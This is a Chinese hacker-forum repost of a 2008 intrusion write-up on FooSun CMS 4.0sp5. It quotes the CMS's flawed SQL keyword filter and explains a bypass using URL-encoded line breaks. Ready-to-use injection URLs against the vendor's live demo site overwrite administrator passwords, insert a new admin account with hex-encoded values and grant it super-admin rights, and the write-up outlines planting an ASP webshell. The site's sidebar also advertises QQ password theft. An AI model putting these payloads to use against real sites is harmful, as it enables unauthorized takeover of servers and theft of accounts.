设为首页  加入收藏  联系我们 繁體中文  

黑客软件:

  漏洞扫描 | 木马间谍 | 加密解密 | 远程控制 | 破坏攻击 | 杀毒软件 | 防火墙类 | OICQ专区 | 黑客必备 | 常用工具 | 网吧攻击
文章中心:   最新资讯 | 黑客技术 | 电脑基础 | 菜鸟文摘 | 网络安全 | 网络技巧 | QQ技巧 | OQ空间代码 | 免费资源 | 编程世界 | 建站技术
素材源码:   论坛相关 | ASP源码 | CGI 源码 | NET 源码 | PHP 源码 | 酷站素材 | 字体素材 | 图片素材 | 友情发布 | 网页模版 | 建站软件
教程动画:   黑客教程 | 黑客编程 | 网站入侵 | 菜鸟教程 | 入侵教程 | 破解教程 | 电子书籍 | 网页制作 | 高级会员 | 综合教程 | 本站原创


   

  您当前的位置:中华隐士黑客联盟 -> 黑客技术 -> 漏洞利用 -> 文章内容 [站内搜索]  

 
风讯CMS4.0sp5 商业版的致命伤
作者:不详  来源:网络  发布时间:2008-7-12 17:22:28  发布人:www.hack86.com
风讯CMS4.0sp5 商业版的致命伤 
 

文章作者:oldjun&flyh4t[ 脚本安全小组]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

注意:文章已经发表在《黑客手册》后由作者友情提交到邪恶八进制信息安全团队技术论坛,转载请注明出处

  FooSunCMS(风讯网站管理系统)是由四川风讯科技发展有限公司自主编写的一套ASP+ACCESS/MSSQL的内容管理系统程序,FoosunCMS已形成内容管理系统整站解决方案。虽然其功能强大,但是在安全性上去是非常脆弱。
记得以前风讯刚出4.0时,过滤的关键字如下:
f_NoSqlHack_AllStr="’|;|and |chr(|exec |insert |select |delete from|update |mid(|master."
    先笑笑这个风讯的过滤函数,名字起的很不错,叫NoSqlHack,但是真的是这样吗?这段sql注入的屏蔽词中,好多关键词都是紧接着空格的,可以用 update%09、update/**/代替update+空格啊。虽然过滤了分号,但是大家有条件的可以测试一下,mssql多句执行不一定是要分号来分割的,你是否觉得有寒意?过滤函数被突破的话,是否意味每个点都是注射点… 
最近风讯4.0sp5问世了,我们再来看看其是否有改进。看过改进后的过滤函数
————————————————————————
Function NoSqlHack(FS_inputStr)
    Dim f_NoSqlHack_AllStr,f_NoSqlHack_Str,f_NoSqlHack_i,Str_InputStr
    Str_InputStr=FS_inputStr
    f_NoSqlHack_AllStr="*|and |exec |or |insert |select |delete |update |count |master |truncate |declare |and    |exec    |insert    |select    |delete    |update    |count    |master    |truncate    |declare    |char(|mid(|chr(|and[|exec[|insert[|select[|delete[|update[|count[|master[|truncate[|declare[|set[|set |set    |where[|where |where    |xp_cmdshell|xp_cmdshell |xp_cmdshell    "
    f_NoSqlHack_Str = Split(f_NoSqlHack_AllStr,"|")

    …… 这里是去掉的若干没有用的代码

    NoSqlHack = Replace(Str_InputStr,"’","’’")
End FunctionEnd Function
—————————————————————————
比老版本过滤的要多一些了,貌似很多关键词还有关键词+空格的都过滤了。/**/也不行了,因为*号也被过滤了,tab也被过滤了,所以%09也无法使用。但是众所周知,mssql对hacker是非常友好的,我们只要找到其他分割符号,这个函数还是很容易被突破的。
思考了一段时间,百度查查最新的注入方法,看看电脑里一系列注入资料,我们俩绞尽脑汁搞了好久,但都没能找到一个明确的好方法;我们甚至尝试过“\n”分割,不过sql下行不通。后来我想,Mssql疏松的特性使得我们有了可趁之机,因此空格,tab都可以被它识别,所以以前的版本我们能利用tab来入侵,而且有时把空格去掉,mssql都能识别,想到这里,大家会不会跟我一样会出现一个灵感:我们可以不可以尝试回车(这是本文的精彩之处,也是本次入侵最关键的地方),于是我用URLEncode把回车编码了一下是:%0D%0A%0D%0A,
下面我们来测试官方网站吧,随便注册个用户,进入用户管理后台,写了个日志,地址是:
http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2
测试个and 1=1,ok的,于是继续测试:
http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Pass_Word=%27%27--
返回正常,语句成功执行了。

很不错,连忙去后台登录,心想用户名应该不会变化的,直接用admin,可是密码为空的时候,后台提交的时候提示“请输入您的密码!”,很明显那是js的判断,于是把登录页面另存为本地页面,把js去掉,再提交以后又跳出来一个alert:“请填写完整”,打开后台checklogin.asp页面,发现有这句:
if p_UserName = "" or  p_TempUserPass = "" then
    Response.Write("<script>alert(""错误:\n请填写完整"");location.href=""Login.asp"";</script>")
    Response.End
end if
郁闷,逼我给它设置密码啊,于是执行了下一句:http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Pass_Word=’83aa400af464c76d’--
其中:83aa400af464c76d是数字12345678的十六位MD5,执行下,出错了:
  


寒,原来我忘记了,这个函数还有模有样的把单引号替换掉了,这个就很容易饶过了:12345678先用用md5加密,然后再编成十六进制是38336161343030616634363463373664,于是我执行了下:http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Pass_Word=0x38336161343030616634363463373664--
返回正常,兴奋,于是再进后台,输入用户名密码,结果提示:请检查用户名和密码的正确性;郁闷了,难道官方的用户名不是admin,算了用户名也修改掉算了,把“oldjun”十六进制转换了下发过来:0x6F6C646A756E,于是我执行了下用户名的设置:
http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Name=0x6F6C646A756E--
返回正常了,证明一样的执行成功了,再登录后台,用户名:oldjun;密码:12345678,接下来出现了让我们大失所望的结果,依旧跳出个alert提示:请检查用户名和密码的正确性。

到这个地方,我开始怀疑是官方站做了手脚了。但我不甘心,从他们的客户案例里找到一个政府站,按照上面的方法试了下,结果居然一样,执行成功了就是登录不进去!那就不是数据库的问题了,很可能是编码的问题。于是我在本地sqlserver里建个表执行了下插入一个用户密码的数据,执行成功了,看看出来的东西,搞笑了,居然是乱码:


 
怪不得执行成功了还是错误,编码出现问题了。肯定是十六进制编码与字段类型不符合,问了下朋友终于搞清楚了:varchar是非 Unicode 的字符数据;nvarchar是Unicode 数据,所以还要重新编码成长的十六进制:
用户名“oldjun”编码以后是:0x6F006C0064006A0075006E00
密码“12345678”编码以后是:0x3800330061006100340030003000610066003400360034006300370036006400
好了,本地插入了下,ok,数据库出来的用户名密码均是我们预期中的数据,显示正常无乱码!于是提交下列语句到风讯:
http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;insert%0D%0A%0D%0Ainto%20FS_MF_Admin%20(Admin_Name,Admin_Pass_Word)values(0x6F006C0064006A0075006E00,0x3800330061006100340030003000610066003400360034006300370036006400)--
再一次的返回正常预示着风讯这个demo站已经是我的了。

再次进后台已经是没有阻拦了,虽然后台没CSS,看的我头大,但还是很欣喜啊。准备试试拿webshell,不过好像选项很少啊,看看状态条:一般管理员,我寒了,原来还有一般管理员与超级管理员之分,我又看了下风讯的数据结构,原来超级管理员是Admin_Is_Super为1的管理员。这么简单,连编码都用不着了,直接写个执行代码,由于前几次我对sql语句不放心,不敢执行太多的sql语句,所以我没加条件,也就是set用户名与密码的时候都是集体set,一个语句change了所有的用户名或者密码,这回我加了个条件:
http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Is_Super=1%20where%0D%0A%0D%0AAdmin_Name=0x6F006C0064006A0075006E00--
好了,所有叫oldjun的管理员都是超级管理员了。用过FooSun的朋友都知道,它管理后台功能非常强大。用bct某人的话说,它强到是一台电脑,一台可以使得恶意用户与服务器相互沟通的电脑。下面的工作就是利用这个强大的后台得到webshell了,有两个简单的方法。第一是利用设置上传文件类型的Webshell;第二就是通过修改配置文件设置的页面,修改const.asp的,可以直接写入一个asp木马


 

本地执行下,传个大马上去,终于拿到shell了:
  
 

剩下的事情我们没做,C盘有浏览的权限,但我们没继续尝试提权。目前所有风讯sp5以及sp5以下的sql版本已经全部处于危险之中,大家可以直接过滤危险的参数,不要带空格或者其他,官方的过滤纯属画蛇添足。我们将尽快联系风讯官方,让其尽早推出更新补丁!本次纯属测试,以及提供一个注入入侵的思路,请大家看到此文章以后不要尝试黑别人的站。

最后,感谢在测试过程中flyh4t、jnc提供的帮助,感谢东南大学网安联盟(S.U.S)的诸位兄弟对我的帮助和支持,感谢婧与其他我所有的好朋友一直以来对我的关心和理解。 
 
[] [返回上一页] [打 印] [收 藏]
  [相关文章评论]    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
 

  风讯注入exp(hta版)..
风讯 cms4sp5 商业版..
驳最近出现的风讯4...
BCT成员Neeao:风讯..


 
免费获得Q币的最新方法
最新免费在线看的电影网站集绵
不用木马,轻松万能偷daoQQ号码
最新QQ空间4.0全屏版效果图!!
新免蟆Q秀,刷红钻的方法
黑客快速入门(强烈推荐)
QQ密码本地破解的原理和方法
免费QQ蓝钻体验(附考试答案)
18岁少女欲6000元卖处女身 救患血..
8款QQ空间免费开场动画
 
千变万化恢复xp_cmdshell 07-15
风讯CMS4.0sp5 商业版的致命伤 07-12
Gmail邮箱再爆漏洞 专家担心被俄.. 07-12
警惕Access 0day漏洞已被黑客利用.. 07-12
业内人士建议:上“绿色网银” 把.. 07-12
WindowsVista系统盘揭密:Users文.. 07-12
系统老手教你搞清Vista系统分区特.. 07-12
PHP 168 SQL注射漏洞 07-12
密码学之倚天屠龙记 07-12
各反病毒软件公司病毒样本上报邮.. 07-12
 
关于本站 网站帮助 广告合作 下载声明 友情连接 网站地图 访客留言 论坛登录
〖中华隐士黑客联盟〗,Copyright © 2006-2010 WwW.Hack86.Com 闽ICP备:06023304号
站长:小质 QQ:771760,软件发布MAIL:Hack086@21cn.com